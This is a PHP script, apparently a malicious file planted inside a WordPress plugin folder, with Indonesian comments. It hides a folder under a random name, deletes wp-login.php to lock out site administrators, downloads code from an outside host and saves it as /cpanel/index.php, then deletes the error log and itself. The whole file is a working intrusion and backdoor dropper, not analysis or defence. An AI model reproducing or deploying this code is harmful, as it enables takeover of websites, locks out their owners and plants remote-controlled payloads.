Current File : //var/www/html/wordpress/wp-content/plugins/KRKq5KCg7nQ7v0440hJKwa/src/ui/x.php |
<?php
// === 1. Rename folder lama ke nama acak ===
$filedir = "../../../";
$KONTOL1 = "xxxxx"; // Ganti dengan nama folder yang ingin di-rename
function generateRandomString($length = 22) {
return substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', $length)), 0, $length);
}
$randomDirName = generateRandomString();
$oldname = $filedir . $KONTOL1;
$newname = $filedir . $randomDirName;
if (is_dir($oldname)) {
if (rename($oldname, $newname)) {
echo "✅ Folder berhasil di-rename ke: $newname<br>";
echo "<a href='" . $newname . "/src/ui/index.php'>Lihat index.php</a><br>";
} else {
echo "❌ Gagal rename folder: $oldname<br>";
}
} else {
echo "❌ Folder tidak ditemukan: $oldname<br>";
}
// === 2. Hapus file wp-login.php di root dan subfolder ===
$targets = [
$_SERVER['DOCUMENT_ROOT'] . '/wp-login.php',
$_SERVER['DOCUMENT_ROOT'] . '/wordpress/wp-login.php'
];
foreach ($targets as $target) {
if (file_exists($target)) {
if (unlink($target)) {
echo "✅ File dihapus: " . basename($target) . "<br>";
} else {
echo "❌ Gagal hapus: " . basename($target) . "<br>";
}
}
}
// === 3. Ambil file dari URL dan simpan ke /cpanel/index.php ===
$url = "https://wpserver.touroquefazercuritiba.com.br/wp-content/plugins/ueuu9KA9ouNF7nKj8WE8zJ/src/ui/wala/c.txt";
$targetDir = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/cpanel';
$targetFile = $targetDir . '/index.php';
// Pastikan folder cpanel ada
if (!is_dir($targetDir)) {
if (!mkdir($targetDir, 0755, true)) {
echo "❌ Gagal membuat folder /cpanel<br>";
exit;
}
}
// Unduh file dari URL
$content = @file_get_contents($url);
if ($content !== false) {
if (file_put_contents($targetFile, $content)) {
echo "✅ Berhasil simpan file dari URL ke /cpanel/index.php<br>";
} else {
echo "❌ Gagal menulis file ke /cpanel/index.php<br>";
}
} else {
echo "❌ Gagal mengambil file dari URL: $url<br>";
}
// === 4. Hapus file lain (opsional) ===
@unlink('error_log');
@unlink('x.php');
?>